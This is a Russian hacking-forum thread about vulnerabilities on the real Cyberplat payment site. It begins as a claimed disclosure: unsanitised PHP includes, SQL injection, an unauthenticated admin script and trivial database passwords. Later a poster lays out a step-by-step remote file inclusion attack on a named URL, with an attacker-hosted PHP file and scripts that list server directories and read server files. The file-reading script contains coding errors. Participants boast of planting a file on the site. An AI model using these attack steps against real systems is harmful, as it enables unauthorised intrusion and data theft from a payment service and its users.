Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1 2 3 4 5 ... 7 След.
RSS
Дыры на сайте платежной системы Cyberplat
 
Попрошу не удалять хотя бы этот постинг. Я попытаюсь доказать вам что я еще чего-то стою и подняться в ваших глазах.

Два месяца назад, зайдя на сайт платежной системы CyberPlat и немного побродив по нему я нечаяно(честно-честно я не хотел) в запрос http://www.cyberplat.ru/megafon/main.php?p=1
вместо "1" вставил "Xakup". И что же получилось? А получилось: Warning: Failed opening 'XAkup.php' for inclusion.Тут я страшно испугался, решив что поломал cyberplat и что больше так не буду. О чем и сообщил на все мыла, которые встретил на сайте в разделе "контакты", в том числе и в их отдел безопасности. Прошло 2 месяца, захожу на их сайт, баг так и не исправили (письма от них я тоже не получил). Решил покопатся в кишочках сайта. Вот что я нашел там:

www.cyberplat.ru\megafon\
почти все php скрипты в этом разделе содержат строки
<?
$p=$HTTP_GET_VARS["p"];
switch ($p){
case "1":$p="list_mobile";break;
case .... и.т.д.
}
include ("$p.php");
?>
Это есть, например, в www.cyberplat.ru/megafon/main.php и
www.cyberplat.ru/megafon/admin.php
Т.е. классический php инклудинг так сказать...
Но и других багов тут немало. Например ВСЕ переменные, которые передаются в sql запросы вообще никак не проверяются и в результате получается вот это:
[пример из файла station.php]
$id=$HTTP_GET_VARS["st"];
$query1="select * from $table where station_id=$id and done=1";
Еще один пример криворукости скриптмейкера этого сайта(его имя и мыло указаны тут же как гордое "//made by Andrey Alferov alferov@aport.ru" вместе со строчкой "ВыбИрите отображение")
, в файле add_mts.php. Тут в базу добавляется новый дилер, как я понял, но вот добавить может любой, кто знает где этот скрипт лежит, и какие переменные используются.
Множество неинициализированый переменных с скриптах, напрмер в grandsoftcity.php:
$query1="select * from $table1 where done=1";
table1 не инициализирована, что позволяет изменить запрос.
И наконец сиситема администрирования баз данных сайта www.cyberplat.ru. Ее можно найти по тут. Нас просят ввести пароль, но как видно дальше только для того, чтобы узнать урл скрипта администрирования, сам то скрипт никакие пароли не проверяет.
Кстати о паролях. Я конечно понимаю, что не все в силах запомнить киргуду из хотя бы 8 символов, но ставить пароли, на доступ к базе нужно посложнее чем "123456" и "654321" как здесь. Единственный нормальный пароль я встретил у рута, ну может еще и на sql базу, и то, потому-что эту базу устанавливал рут, а не красноглазый пионер, которому поручили web интерфейс


---------------
Модерам всяческий респект и гритз!
 
оппа. гондорец-то, оказывается, не только чужие носки продавать умеет :) респект :)
 
Круто! Гондорец респект! Так держать! А я тебя за последнего лоха держал. Частично щас проверил, все так и есть.
 
Дыры действительно настоящие. Мне это не приснилось. Для тех, кто еще не верит, вот картинка, которую я положил на их сайт.
 
а чё дефейс не сделал-то?
 
Мораль  не разрешила :)
 
http://www.fbm.ru/computer/main.php?n=14&f=4

этот пpидурок еще и "компьютерные энциклопедии" пишет :)
 
Да ладно вам. Это баггзи взял мой старый ник и повторяет случай с Арви.
 
нет, я бы Гондо*ца такой чести не удостоил :)) Арви хоть на бейсике программировать умеет, в отличие от.
 
Гондорец - раскажи плиз как ты исходники криптов посотрел?
 
Да тоше вчера хотел спросит, но забыл...а очен интересно как ...
 
А линк (http://www.cyberplat.ru/megafon/images/text2.gif) уже не фурычит. Убрали, возможно и дыры залатали.
 
они просто все сайты этого криворукогод ядьки с сервака снесли, ну и картинку соответственно пропала.
 
Давайье ассмотрим как вы бы могли без проблем ломануть сайт!

итак приступим!
вот принцип страници с ПХП

<html>
....
<?php
....
global $p;
....
include ("$p.php");
....
?>
....
</html>



а вот что вам надо было сделать:
зарегить какой-нить сраный сайт, да хоть на народе, поддержка серверных скриптов нам не нухна, закачать туда маленький файлик!

test.php
___________________________________

global $dir;

$handle=opendir('.');
echo "Файлики:\n";
while ($file = readdir($handle)) {
     echo "$file\n";
}
closedir($handle);
__________________________________

Воть!

Допустим мы заерегили себе хостинг testtesttest.narod.ru. Берём и в наглую закачиваем туда в коневой каталог файлик test.php.

После заходим по ссылке http://www.cyberplat.ru/megafon/main.php?p=http://testtesttest.narod.ru/test.php&dir=<нужная директория> и наш скриптык будет выдавать нам все файлики каталога! Так же без проблем можно было бы написать и функции для чтения этих файликов!

НО ВОТ ВАМ ГЛАВНЫЙ ОБЛОМ! НА САЙТЕ СДЕЛАЛИ ПРОВЕРКУ $p ТАК ЧТО ВЫ ВСЕ(ПОЧТИ ВСЕ) ПРОЛЕТЕЛИ!
 
УПС извиняюсь описька получилась!

test.php
___________________________________

global $dir;

$handle=opendir($dir);
echo "Файлики:\n";
while ($file = readdir($handle)) {
     echo "$file\n";
}
closedir($handle);
__________________________________
 
А вот скриптик для чтения содержимого фала в том числе и серверныз скриптов

test2.php
__________________________
global $fn;

lines = file($fn);

for($i=0;$i<count($fn);$i++){
     echo $fn."\n";
}
__________________________

Вот и весь хак, я конечно извиняюсь за возможные ошибки в коде
 
Почему господа из киберплата не выскажутся?
 
Не хотят наверно
 
Они сейчас сочиняют, свое выступление перед народом, которые с ними работали. Дя... чижило им сейчас :)
 
некогда им - сервак чинят :)
Страницы: 1 2 3 4 5 ... 7 След.
Читают тему